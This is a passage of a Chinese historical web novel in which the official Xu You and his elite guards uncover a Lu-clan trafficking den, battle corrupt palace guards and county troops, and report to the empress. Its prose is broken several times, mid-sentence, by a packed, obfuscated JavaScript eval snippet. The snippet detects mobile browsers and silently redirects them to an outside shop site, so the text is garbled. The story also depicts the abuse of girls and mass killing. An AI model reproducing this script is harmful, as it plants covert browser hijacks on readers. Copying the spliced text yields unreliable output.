唐律,成了摆设! 秦曦只觉得眼前发黑,额头青筋一根根挑起,哪怕是遇到许攸,遇到昨日那种事,她也未曾有如此动怒。 “好!好一个佛门圣地!” “好!好一个建安郡主!” 秦曦一腔怒火几乎要喷涌而出,那压制不住的冲动,让她心头火焰不断燃烧。 她要杀,杀了相国寺所有僧人,杀了建安郡主。 就在她准备下旨,却突然愣住。 负责查案的应该是王亮,可王亮却跪在她面前,现在卷宗被许攸带走。 五十骑固然很强,但这里可是京兆府,是天子脚下,她可是曾经授予自己妹妹,有调用禁军千人的权利! 秦曦太清楚了,自己这个妹妹,不但性格骄纵,而且是个不折不扣的狠人。 若是为了保护相国寺,她一定会有动作。 利用禁卫,给许攸扣上谋反的帽子,堂而皇之阻击歼杀,只要毁尸灭迹的快,就无人敢把这件事在朝堂上提! 想到这里,秦曦额头冒出细密汗珠。 “来人!” 秦曦脸上再无半点帝王风度,玉手紧攥成拳,步伐之充满担忧和急促。 “混蛋东西,难道不知道多带点人!” “王迸,你……罢了!” 王公公刚进宫,还没跪下,就听到秦曦冷着脸,急促的道。 “王迸,你立刻召集禁军统领,四方军大将军,前来御书房!” 说罢,秦曦又转头看向李牧。 “舅舅,是从紧急,你立刻调集玄甲卫,宣他们入宫觐见!” 李牧脸色大变,玄甲卫是刚成立,简单的说,就是许攸送给秦曦的那一支精锐。 如今这支精锐就在长安城外西大营驻扎,碍于身份,一直没有宣告,也未曾安排入宫。 这么重要的时刻,玄甲一旦入宫,那就等于把咽喉递给许攸。 虽然李牧相信许攸不可能反,但防人之心不可无。 “陛下!万万不可!” 旁边跪着的王亮懵了。 玄甲是什么鬼,大唐什么时候,有这么一支精锐,他怎么不知道? 正愣着,他却听到耳畔再次传来天子的声音。 “为何不可!” “普天之下莫非王土,他们也是朕的子民,既然他们已经效忠朕,那就是朕手中的剑!” “传令,召集玄甲入宫!” “由你亲自统帅,今日宫内任何人不得朕命令,擅自进出宫廷者,杀!” “另传令各城门守卫,封锁城门,由玄甲接管,擅闯关者,杀!” 嘶! 王亮打了个哆嗦。 天子真的怒了!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015681|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>当年他见到这番景象,是秦曦手持天子剑,从宣武门外一路杀入皇宫,无人敢挡! 难道今夜又要血溅长安? 可是如此事情,不应该悄悄处理,为何要闹大? 难道…… 王亮呼吸愈发急促,脑海中想到了一个念头。 “不可能!这绝对不可能!” “许攸是康王的人,陛下绝不可能将他收入宫中。” …… 与此同时,灞水河边,许攸衣裳随风而动,整个人坐在马背上,身后五十骑仿佛和夜色融为了一体。 在他身侧箫成大气都不敢出,哪怕现在已经是深秋,冷风不断扫过,箫成身上的衣服,依旧被汗水打湿。 不知道过了多久,箫成压不住心中恐惧,颤抖着开口。 “大人,咱们……咱们真的要动手?” 距离队伍三百米外,是个很普通院子。 隐约间,可以见到院子中有火光,偶尔还有几名衣着华贵的世家贵族出现。 这些人来的时候都戴着面巾,走的时候倒是有不少人卸掉。 箫成粗粗看去,有在长安城有专门兜售文房四宝的胡氏,有执掌盐铁的崔氏,有新科状元,有将门虎贲。 这些人唯一的特点,就是走的时候,面带着笑容。 院子戒备森严,护院的居然是一群武僧。 夜色越来越浓,箫成心中的恐惧,也如同一根刺,扎在心口,不断滋生。 就在这时候,远处突然传来马蹄声。 “不对!” 恐惧交加的箫成打了个激灵,悄然竖起耳朵向着声音来的方向看去。 马蹄声很轻,代表马被人裹上了厚厚的棉布,以防止出声。 这个时间点,如此密集的马蹄声,又如此诡异的动静。 箫成的心猛地悬到了嗓子眼,他的目光死死盯着前方树阴之中。 哒哒,哒哒! 一道黑色影子出现,紧接着是十多道黑色身影,这些人身形敏捷,每个人都身穿黑色甲胄,手持横刀。 看到这一幕的箫成,嘴巴张大,瞳孔疯狂收缩成一点。 “禁卫!” 第一百三十五章 包围和反包围 三百禁卫如同鬼魅出现,来到院子前五十步,全部下马,手持横刀悄然逼近。 就在这时候,院子中突然传来凄厉的惨叫。 “救命!” 这是个女孩的惨叫! 箫成紧缩的瞳孔,再次缩紧。 他怀疑自己看错了,眼前的居然是卢家二子,然而对方正左手拿着个链子,右手持着马鞭。 啪! 鞭子无情落下,女孩身上本就不多的衣服,彻底碎裂成破布。 到了这一刻,箫成哪怕再傻,也知道这里是什么地方。 一股无名怒火,在他的心头涌动。 “畜生!这帮畜生!” 眼前的地点,就是世家门阀享受的销魂窟,而那些失踪的妇女,全部被抓到了这里。 “卢公子,我等奉命前来,还请你先回去,不要泄露任何行踪。” 为首禁卫统领,显然是认识卢云,朝着他拱拱手,直接放行。 看到这么多禁卫,卢云丢掉手里鞭子,骂骂咧咧的伸出脚,在女孩后背上踹了一脚。 “**,本公子给你脸不要脸,去和阎王矫情去吧!” 呸! 一口浓痰吐在女孩的后背上,卢云看也没看禁卫统领一眼,起身就往外走。 在外面的车夫早已准备好,见到卢云出来,掀开马车车帘。 就在这时候,许攸突然举起手,冷冷的道。 “杀,一个不留!” 早已准备就绪的周龙等人,早就怒火中烧,连箫成都被眼前景象刺激的双眼猩红。 咻!咻! 刚要动手的禁卫统领,感受到身后致命威胁,手中横刀往后斜劈,自己则是往前扑到,一个驴打滚堪堪躲着**箭,滚了过去。 然而他躲过去,其他人则躲不过去。 “啊啊啊!” 惨叫声不断溢出。 如此恐怖一幕,让禁卫统领汗**竖起。 “敌袭!” “敌袭,快防御!” 禁卫训练有素,剩余的人立刻聚拢在一起,利用战马作为依仗,抵挡**箭的进攻。 许攸竖起的手缓缓落下,身下战马往前幽幽走着,几息功夫便来到了院落前。 “相国寺!卢氏!梁王!建安郡主!” “你们果然没让我失望,真看得起本老爷,是不是先灭口,再来灭本老爷?” 随着他的话音落下,五十名黑甲全部出现在院子前,每个人手持黑盾,手中短矛散发出无尽寒意。 这是一群**不眨眼的刽子手! 看到黑甲士兵的出现,禁卫统领并未慌张,反而浮现出得意。 “许攸,你以为郡主会如此大意?” “今夜我等就要让你葬身于此!” 统领丝毫不掩饰自己眼底的杀意,嘴角勾出冷笑。 “是么?到底谁杀谁,还不一定!” 许攸也不怂,这些黑甲都是玄甲卫,目前大唐最精锐的存在,战斗力比墨麟军还要高几个档次。 五十玄甲卫的战力,在完全体状态下,能正面抵挡上百突厥铁骑冲锋。 “杀了他们!” 禁卫统领冷笑一声,从袖口中取出个哨子,放在口中吹响。 哨声古怪尖锐,随着哨声结束,四周居然出现了上百黑色身影。 这些刚出现的禁卫,十人一队,分工明确,直接冲向了玄甲卫。 许攸眼眸中寒光闪烁,身形不退反进,左腿一脚踢出,勾起地上横刀,立刻冲了出去。 在他身后的箫成,眼睛瞪圆。 同样是文官,许攸战斗力彪悍,一人独战一队人马,居然不落下风,相反那些黑甲的玄甲卫,只能一人拖住四五个人。 即便是如此困局,依旧拦不住许攸,只见到他左手一抖,一柄横刀化作镰刀,飞射而出。 镰刀所过之处,无人敢挡,有人想要长刀去抵挡,结果瞬间被斩落。 “许大人!当心!” 箫成被两名玄甲保护在中间,虽然帮不上忙,整个人着急不已,拿着手**也不知道射还是不射。 突然,他看到许攸身边多了个人,正是那个禁卫统领! “你奶奶的,胆敢偷袭!” 箫成也不知道哪来的勇气,脑海内回忆起刚才许攸教他的操作,一鼓作气,拿着手**上弦瞄准。 当! 禁卫统领黑着脸挡下下**箭,满脸煞气的看向箫成。 “今日你必死!” 箫成也被激出了血性,再次哆嗦着上弦,将手**对准禁卫统领! “我乃京兆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015682|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府文书,当朝八品!” “你居然敢袭杀朝廷命官,该死!” 禁卫统领发出了“嗬嗬”的瘆人笑声。 “死的不是我,是你们!” 场中局势突变,剩余的上百禁卫,包括禁卫统领,突然调转方向,根本不管身后的许攸等人,大步朝着一个方向狂奔。 眼看人群消失,箫成快步冲到许攸身边,担忧的问道。 “许大人,这到底怎么回事?” 许攸面露冷色,若是他没猜错,今晚怕是个局,有人故意设计,等他过来! “上当了。” 箫成脸色煞白,虽然许攸说的淡然,但他还是能听出一丝的不安。 这时,周龙也走了过来,神色凝重的看向许攸。 “大人,下面有暗道,里面有单独房间,建设的很豪华,总计有女奴七十二人,另外还有关押的妇女十三人,其中半数年龄不过十二。” 什么!! 箫成眼睛瞪圆,刚才那小女孩的惨状,他可是亲眼所见。 这里居然有将近上百人。 许攸脸上没任何表情,淡淡的问道。 “是不是还有其他出口?” 周龙点点头,指着西面,声音中充满杀意。 “里面的管事都跑了,剩下的女奴和妇女,全都身中奇毒,怕是活不过今夜!” “此地应该不止这一处,还有其余地方!” 在来之前,许攸就料到,只是没想到这些人如此心狠手辣。 而此刻他们的前方,火光冲天,上百差役打着火把,从远处冲来! 为首的官员身穿青色官袍,骑着匹棕色大马缓步上前。 “尔等青莲教奸贼,竟然敢在我清水县屠戮百姓,肆意行凶!” “弓箭手准备!将这些奸贼就地格杀,一个不留!” 此话一出,四周喊杀声冲天。 箫成怎么也没想到,自己等人前来找证据,居然成了谋逆的青莲教逆贼! “你敢!本官乃正八品,京兆府文书箫成!” “你居然敢对我等动手!某不是要造反!” 箫成惊怒交加,却不曾想,对面听到这话,轻蔑的笑起来。 “造反的是你们,一群**,可不会说话!” “杀!” 第一百三十六章 城卫军的真正战力 箫成彻底意识到,这清水县的县令,根本就是为了杀他们而来! 只要他们**,那就没有任何证据。 荒唐!太荒唐了! 箫成看向许攸,看到的却是一脸平静。 “许大人,你快想想办法!这群奸贼他们……他们……” 话还没说完,他的话语就被许攸给打断。 “你没发现,我们的人马,少了点什么吗?” 箫成闻言回头看去,此行京兆府可不止他一人,在临行前,他特意通知了卢主簿,让其准备人马。 “卢成安!” 按照约定时间,卢成安应该早就抵达,但现在不但没出现,反而还诡异的没了动静。 看着周围清水县官兵,箫成内心的恐惧逐渐消散,脑海内也变得异常清明。 能清晰知道他们动向的,不止卢成安一人,但能够知道他们抵达以及动手时间,只有卢成安知道。 再想到之前见到的卢氏二少,他一切都明白了! “卢成安你这个混蛋,你居然背叛我等!” “你这个奸贼,你不得好死!” “知法犯法,你也配当京兆府的主簿,你良心被狗吃了不成!” 箫成双眼死死盯着对面,眼球表面密布血丝,整个人如同疯兽。 他不敢相信,也不愿意相信。 可事实上就是如此! 对面传来阴恻恻的笑声,声音沙哑干涩。 “哈哈哈哈!” “事到如今,箫成你怎么还如此天真?” “许攸你敢杀我卢氏子弟,就应该做好死的准备!” 卢成安冷笑连连,丝毫不惧怕箫成的威胁。 箫成险些没气死,眼前发黑,身形更是跌跌撞撞,要不是身边周龙见到他要栽倒伸手扶住他,怕是现在他就会栽倒。 “你这个畜生,你等拐走那么多女子,供给自己淫乐,又知情不报!” “如今你居然还要杀许大人,你可知道,你这是在谋反,是和朝廷作对!” “若是天子知道,你卢氏九族,满门都到死!” 听到箫成的话,卢成安脸上笑容消失,转而变成了怨毒的阴冷。 “许攸,你若是老老实实当个傀儡,那该多好?” “可惜你自以为自己能执掌一切,你可知道我卢氏三百年,什么大风大浪没见过?” “就你这种小角色,你以为这里是你想来就来,想走就走的吗?” 卢成安的语气很低沉,丝毫不掩饰自己的得意。 “你既然敢得罪我们卢氏,那就得做好死的觉悟!” “今日我就要将你彻底斩杀,然后上报朝廷,就说你在清水县遇到青莲教叛乱,结果被乱箭射杀。” “你说除了你之外,还有人会在意呢?” 卢成安冷冷的话语,如同一把尖刀,不停戳在箫成的心口。 箫成脸色煞白。 他们今日如果**,那么就真的没了证据。 他现在很后悔,后悔的不是和需要许攸出来,而是没有考虑周全,居然信了卢成安。 “许大人,对不起,都是我的失职!” 面对如此情况,他也只能道歉。 不然以许攸的神勇,定然可以破局,不会现在深陷在这里。 然而,许攸却淡淡的一笑。 “是吗?” “你就这么确定,凭着你这些废物,可以将我这些人,全部留在这里?” 许攸的嗓音很低沉,但每个人都能听到。 卢成安的脸色微微变化,他没想到,到了这时候,许攸还敢如此狂妄。 相比之下,箫成就显得正常,面对死亡的威胁,双腿颤颤,连站都站不稳。 没来由,卢成安内心感觉到了一阵荒唐。 “老夫这里有八百人,许大人你看来是真不死心!” “既然如此,那老夫就让你死个明白!” “总是你现在有人,那又能如何?” 说完这句,卢成安冷冷的看向四周,眼底怨毒冷光闪烁。 上百弓箭手手中弓箭斜举,一个个面露狰狞,在他们身前,刀斧手早已蓄势待发。 “杀!” 卢成安冷冷挥了下手,随后再也不看许攸等人。 在他想法中,许攸等人必死无疑。 就在众人准备进攻时候,许攸突然伸出手,将手中横刀插入地面。 “周龙张虎何在?” “属下在!” 两道不同意味的声音,同时在众人耳畔响起。 “全体听令!” “杀!” “杀!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015683|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咆哮声冲天而起,让人惊骇的是这声浪之大,居然将天空乌云冲散。 更恐怖的是那五十名黑甲,此刻犹如一道鬼影出现在许攸身侧,每侧二十五人,以周龙和张虎为首。 噌! 长剑一点点被拔出,森寒的月光在剑身折射,印出许攸那张不是很峻峭的侧脸。 “你知道吗?” “本老爷不喜欢**,因为**杀的多了,那就没了感觉!” 许攸嘴角勾起狞笑,浑身气势骤变,没了先前那文弱模样,转头更像是一头嗜血猛兽。 随着他身形的躁动,弓箭手阵营立刻出现骚乱。 “杀!” 简单粗暴,没有半点多余的赘述。 这是长安城第一次见识到城卫军的恐怖! 作为百战精锐,每个人都是从尸体堆中爬出,没有人害怕死亡,有的只有兴奋。 最前面的刀斧手,甚至连许攸身影都没看清,只见到一抹寒光扫过,随后脖子冰凉,身体就再也没了意识。 战斗呈现出一面倒,和刚才的那艰难完全不同! 卢成安的脸上没了笑容,转而是无尽的恐慌。 “顶住,你们都给老夫上!” “都快点上,杀了他们!” 四周官兵不杀,包括禁卫在内,都是手脚冰凉。 眼前到底是什么怪物! 紧紧一个照面,三百人被屠戮殆尽,那些黑甲出手果断,手中铠甲居然带有棱刺,臂铠砸中人,都会带走一片血肉。 不仅如此,刀剑砍在黑甲上,根本留不下半点痕迹。 相反这些黑甲士卒每次挥动手里手里武器,就和收割般,总有十几人倒地! 恐惧是会传染的,此刻的卢成安彻底慌了! 清水县县令也满头冷汗,眼底尽是恐惧。 “杀了他们,杀一个,老子给赏钱五十两!” 噗嗤! 刚说完话,清水县县令呆呆看向自己胸口,只见一把短矛自他胸口穿过,带着巨大惯力,将他钉死在马背上。 许攸掏掏耳朵,玩味的提着剑,剑尖不断有鲜血滴落。 “卢氏,你害的老子丢了那么多功德,今日不灭你满门,老子跟你们姓!” 就在这时,远处传来一道呼喊! 第一百三十七章 谁的援军来了 “住手!” 咔嚓! 许攸一剑砍歪,看到自己剑居然擦着卢成安的胸口过去,他很是不满意。 火光蔓延如同火蛇,远处战马马蹄不断践踏大地,整个地面都在颤抖。 卢成安擦了下额头冷汗,刚刚那一瞬间,看到许攸冲过来时候,他以为自己死定了。 在看到只是伤了胸口,并无多大的事情,他的脸上再次浮现出狰狞。 “许攸!哈哈哈!” “你死定了!” “你得罪的不仅仅是我们卢氏,还有梁王!建安郡主,以及天子!” 玄甲卫也在这时候停手,场中站着的,除了他们和吓破胆的箫成外,就剩下许攸。 马蹄声越来越近,一股肃杀之气,即便是相隔百米远,都能清晰感受到。 为首之人全身都被甲胄包裹,身上银色铠甲,在黑夜中灼灼生辉,很是刺眼。 四周骑兵来到此地,同时勒住缰绳,手中长矛斜指。 如此鲜明的装束,以及浑身恐怖煞气,无一不在诉说来人身份。 许攸眯起眼,长剑在手中抖了个剑花,冰冷的指向来人。 “来者何人!” 卢成安面色古怪,他感觉许攸多半是疯了。 眼前可是当朝禁卫大统领,掌控五万禁卫的天子亲随,萧定远! 萧定远从不干涉朝中事务,家中只有几名子弟为官,其余都是将领,都在禁军中任职。 若说蒙武是震慑四方的存在,那么萧定远就是皇室的守护神,他们忠于皇室,不论谁是天子,只要姓秦,那么就是他们守护的对象。 看到萧定远出现,卢成安不是害怕,而是狂喜。 他……不用**! “哈哈!许攸,你死定了!” “你可知道,他是禁卫大统领,官拜一品,萧定远箫将军!” “他是禁卫……哈哈……禁卫!” 萧定远自马背上跃下,腰间斜挎着一把横刀,身披银色亮甲,一身只能看到两只乌黑的眼睛。 即便是如此,他身上血煞之气,依旧不是普通人可以抵挡。 此刻萧定远目光缓缓扫过,在看到清河县县衙差役,以及禁卫的惨状,他眉头微微皱起。 目光落到箫成身上是,他又冷哼了一声,似乎在表达心中不满。 直到最后,他才将目光落到许攸身上。 两人目光交织,许攸的神色很平静,就仿佛是一潭死水,看不到任何的波澜。 萧定远身躯微微动了下,刚要往前,身前寒光闪烁,在许攸手里的剑,已经出现在他面前。 镪! 一击落空,并不出乎许攸的预料,他依旧冷冷单手持剑,身姿在风中,犹如一颗松树。 冷傲,不羁,狂妄! “你就是许攸?” 萧定远深吸一口气,语气中有丝丝颤音,若是不仔细听闻,根本察觉不到。 刚才那一击,他受了伤! 当今能一击让他受伤的,也只有眼前的许攸! 一股寒自脚底板,逐渐涌上他心头。 “是!” 许攸目光冰冷,淡淡的开口。 “你是谁,来此作何!” 萧定远主动向后**一步,将手中的横刀插入地面,冲着许攸抱拳。 “某奉陛下旨意,前来保护京兆府府尹许攸!” “全体听令,将此地围起来,除了许府尹及其所属亲卫之外,任何妄动者,杀无赦!” “得令!” 上千禁卫齐声应和,没有一个人敢大意。 今夜出城的,全都是精锐中精锐,也都是萧定远亲手培养。 至于其他禁卫,都在玄甲卫的控制中。 不过是呼吸间,场面被彻底控制。 萧定远再次走到许攸身边,目带欣赏和感慨。 “许府尹当真是后生可畏!” “老夫纵横三十五栽,今日心服口服!” 此前萧定远很是不服气,身为禁卫大统领,居然被缴了兵权,甚至连发生什么都不知道。 直到天子亲自露面,带着那黑色洪流出现,禁卫中反叛者,几乎是呼吸间被斩灭。 到了这时候,萧定远才意识到,出大事了! 今夜长安城,注定是不眠之夜! 玄甲卫掌控皇宫,剩余禁卫封锁长安城,飞鸟都难入城池半步! 这一切的缘由,都是因为眼前的青年! 许攸擦了下脸上的血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015684|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水,无奈苦笑。 “箫统领见笑,若是下官有办法,也不会用如此刚猛的法子。” “还好计划没错,否则今日箫统领可要少了个儿子。” 萧定远嘴角扯动,他发现许攸果然是个小狐狸,不但武力超群,连脸皮和谋虑,都不是凡人可匹敌。 “不说此事,老夫都忘记了,今日多谢许府尹护佑,否则犬子必然会身死。” “小事小事,就是这清河县县令公然带兵,不知道箫统领如何处置?” 箫成早就得到了圣旨,此次出行,他的目的只有一个。 保护许攸! 任何阻挡者,全部视作通敌叛国,可先杀后奏! “清水县县令故意陷害忠良,意图袭杀朝廷命官,罪该万死!” “本将军奉陛下旨意,诛杀此獠,所有涉案人等,皆以通敌叛国为罪,杀无赦!” 旁边还活着的卢成安,听到这话,险些没吓尿。 卢成安的脸色很难看,他以为萧定远是来救他的,毕竟他可是卢家的人,就算天子想动卢家,那也得先看看他背后的主子。 卢家和梁王同气连枝,一荣俱荣,一损俱损,绝对不是轻易能动的。 “箫将军,这是个误会,是个天大的误会!” “你说这是误会?” 萧定远冷笑一声,淡淡卢氏要杀他儿子,就是死罪! 见他满脸煞气,卢成安更加恐慌。 “下官今日收到密信,青莲教流窜在清水县作案,为了防止惊动圣上,下官私自做主,请清水县县令调集人马,准备捉拿青莲教匪徒。” “谁知这大水冲了龙王庙,居然冲撞了许大人,都是下官该死!” 说着这话,卢成安还连连抹眼泪,那样子要不是许攸亲眼所见他嚣张无度,都以为他是个好人。 “是么?” 萧定远闻言,迈开脚步,一步步朝着卢成安走去。 见他走来,卢成安心头松了口气。 可下一秒,他整个凌空飞起。 “当老夫是三岁小儿?” “你乃京兆府主簿,许府尹乃京兆府府尹,你会认错?” “来人,将他捆上,交由陛下定夺!” 第一百三十八章 女帝很生气 “你们不能杀我,我乃梁……建安郡主的人!” 卢成安是真的慌了,眼前萧定远完全不是开玩笑,居然真的要杀他。 一旦到了天子面前,不但他要死,卢氏也要完! “我要见郡主,你们带我去见郡主!” “堵上嘴,带走!” 萧定远懒得听这废话,挥挥手直接让人把卢成安带走。 处理完卢成安,萧定远转身看向许攸。 “许府尹,不知道你可有其他公务?” “自是有的,只是箫将军在这里,怕是有些不方便!” 萧定远一愣,他隐约察觉到,许攸话语中夹杂森然寒气。 这是不知道杀了多少人,从尸山中爬出后的恐怖气势。 明明看上去才二十多,那股杀伐果断气势,连萧定远都心惊。 “不知何事,若是老夫能帮扶,定然会帮扶一二。” 萧定远是打定心思,主动交好许攸。 面对他的热情,许攸也没拿架子,手中长剑重回剑鞘。 在他收剑的瞬间,萧定远错愕的看了眼,又很快将视线给收回。 随着许攸脚步,他看到了一群僧人。 “和尚?” 萧定远满脸的诧异,这荒郊野外的,一群和尚不在寺庙,居然在这里。 而且这群和尚每个人颧骨凸出,太阳穴高鼓,一看就非大唐人,而且都是身手不凡的精锐。 “许府尹,这些和尚是?” “箫将军见笑,京兆府治下不严,这几年走失被拐女子多达三千余人,这些便是幕后黑手。” 许攸指向被周龙等人搀扶出来的女子们,眼中寒光不断浮现。 只是为了泄恨,就杀了三百无辜女子,无论卢氏是谁动的手,他必定要杀之! 见此一幕的萧定远,那还不明白,眼神变得复杂。 “既然如此,那禁军可否交由老夫,其余人许府尹自行处置如何?” 萧定远主动抱拳。 “多谢!” 国有国法,家有家规。 许攸也不想在这种事上扯皮,萧定远是为了什么而来,他也懒得过问,现在他只有一个目的,灭了卢氏! 所有和尚全部被带出,总共十三人,全都被打断手脚,卸掉下巴。 看着玄甲卫老练手段,萧定远嘴角抽搐。 他很怀疑,眼前这些玄甲卫,都是许攸带出来的,但这个念头刚出,就被他打散。 他也是从军三十多年,深知带兵有多难,尤其训练如此精锐,更是难上加难。 除非许攸事事以身作则,一马当先,才能带出这样一支铁血队伍。 一行人没有多言,许攸看着即将放亮的天色,默默挥挥手。 “周龙,你带着兄弟们去继续找,无论死活,只要是卢氏的人,全部给我找出来!” “所有被拐女子,尽数送到京兆府,我会让箫成安排!” 安排好这些,一行人也彻底走上返程道路。 路上箫成一言不发,今日看到许攸大展神威,在他心中留下不可磨灭的印象。 往日许攸很不着调,狂傲没变,做事也是毫无章法,但今日的许攸,却给他一种不同的感觉。 这是无与伦比的沉稳,出手狠辣无情,就如同毒蛇在暗中窥伺,一旦出手,务求一击毙命。 想到自己那些小举动,箫成想笑,嘴角泛起阵阵苦涩。 这次周龙没让许攸失望,一行人刚抵达踏上长安县县城边界,周龙便带着人匆匆从远处疾行而来。 “报,许大人!” “总计找到被拐女子七百三十三人,另外有尸骸四百二十一,死亡时间都在十五日之内!” “所有卢氏子弟及相关人等,全部伏诛,这是他们的印记!” 周龙抬手将一份带血的布条送上,布条上尽是名字和血手印。 听闻这些,囚车内的卢成安脸色煞白。 “许攸,你敢屠我卢氏子孙,你可知道我卢氏家主是谁!” “我卢氏乃帝师,梁王府供奉,当世大儒卢元书!” 萧定远的脸色也不好看,卢元书不仅是当世大儒,还是前翰林院院士,曾担任天子经意讲师,如今又是梁王府邸供奉。 如此身名显赫之人,一旦动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“为何有这么多女子,如此衣衫不整,这成何体统!” “今日你若不说出明细,朕就治你渎职之罪!” 第一百三十九章 抓奸抓现场 “陛下,事情很简单!” 许攸没隐瞒,将自己从书院的女鬼索命案得罪卢氏,又接到密报,说卢氏残杀无辜,便以此为调查。 到发现相国寺猫腻,以及卢氏背后的肮脏,他便按照律法带队抓人。 “陛下,此事皆有证据可查!” “这些女子有官宦女子,有两家妇女,有的年岁不过十岁左右,最大也才十六!” “根据臣查证,还有四百多口,因为女鬼索命,以及臣斩杀卢氏三子,所被牵连!” “臣不求其他,只求给这些女子个公道!” 许攸声音冷冽,不带丝毫感情。 随着他的叙述,秦曦脸色彻底阴沉下去。 整个城门口,都陷入到恐怖压抑的氛围,连空气似乎都彻底凝固。 “你的意思是,相国寺所有僧侣,都是恶人?” 秦曦眯起眸子,声音逐渐凝聚。 “你可知道,相国寺是谁所建,又是为何所建?” 相国寺可是梁王筹建,为了先皇祈福,在先皇驾崩后,更是守孝了三年。 动了相国寺,就是在动皇家的脸。 许攸闻言抬起头,眼神中没有半点退缩。 “陛下,你是觉得臣会无的放矢?” “乱世圣如佛,盛世行似妖!” “佛本无心,无欲无求,只言度化苍生,而不是如此欺瞒天下,仗着自己是佛门,就可以肆意鱼肉百姓,做出如此天人共愤之事!” 秦曦哑然,看着眼前的许攸,她感觉很陌生。 说心怀天下也好,说济世救人也罢,哪怕骂许攸是个畜生,但他所做的每件事,比佛还要圣洁。 教化芸芸众生,有教无类,发展农牧医,以教诲育人,以法理治世! 这些无论那一条拿出去,都能惊骇世人眼球。 半响,秦曦这才幽幽开口,声音沙哑低沉。 “建安郡主呢?” 所有人都屏住呼吸。 在场可不止萧定远,还有三省六部核心官员,每个人看向许攸的眼神,都充满忌惮。 建安郡主私通,代表的是天子颜面。 “陛下,此事何必问臣?” “若是陛下想要知道,派人去郡主府看看,这些禁卫可没少被臣杀!” 轻蔑的话语脱口而出,如同巨石砸在湖面。 在场众多官员心口猛地一抽,都下意识屏住呼吸,瞪大双眼。 杀禁卫! 难怪许攸如此狂,难怪天子如此震怒! 秦曦的眸子紧缩,她的那张俏脸,因为在冷风中呆的时间太长,已然出现白霜。 两人视线交织,谁都没退让。 事实很清楚,连萧定远都亲自出动,那许攸大逆不道,袭击禁军的事情,必然是真的。 “萧定远,可有此事?” 空气再次凝滞,众多官员看着许攸,有怜悯,有可惜,有怨毒,还有讥讽。 每个人表情不一,大部分都是在嘲笑许攸不知死活。 自大唐开国到如今,杀禁卫的只有三人,这三人两个是天子,而如今许攸居然做了第三人。 在众人的目光中,萧定远身披银甲,一步步走到秦曦面前单膝跪下。 “臣,萧定远,有罪!” “昨日东三营四百禁卫,在统领于辉率领下前往郡主轮值!” “许府尹所言未曾有虚,于辉带领一百五十骑深夜出郡主府,与灞水河畔袭击许府尹!” 轰隆! 尽管众人心里有点不相信,但还是被这番话给震惊。 一百五十骑,还是在没有任何调令情况下,这已经是谋逆的大罪! “他们为何要袭击许攸?” 秦曦声音冷的可怕,就仿佛是这寒风中的尖刀,在众人心尖刮动。 “根据于辉交代,此行是奉建安郡主命令!” 说到这里,萧定远倏地抬起头,眼底幽光闪烁。 “灭口!” 此话说完,他再次低下头,双手抱拳。 “臣有罪,臣监管不严,禁军内部腐朽,臣愿意受罚!” “请陛下降旨!” 秦曦身形猛地倒下,双手死死攥住龙椅副手,一根根玉指纤细,指尖青筋跳动。 怒意,在她心口交织。 她的好妹妹,仗着她的恩宠,不但和相国寺的主持有染,如今还要杀她的人! “来人,去把建安郡主带来!” 秦曦说完这句,又冷哼一声。 “移驾京兆府!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 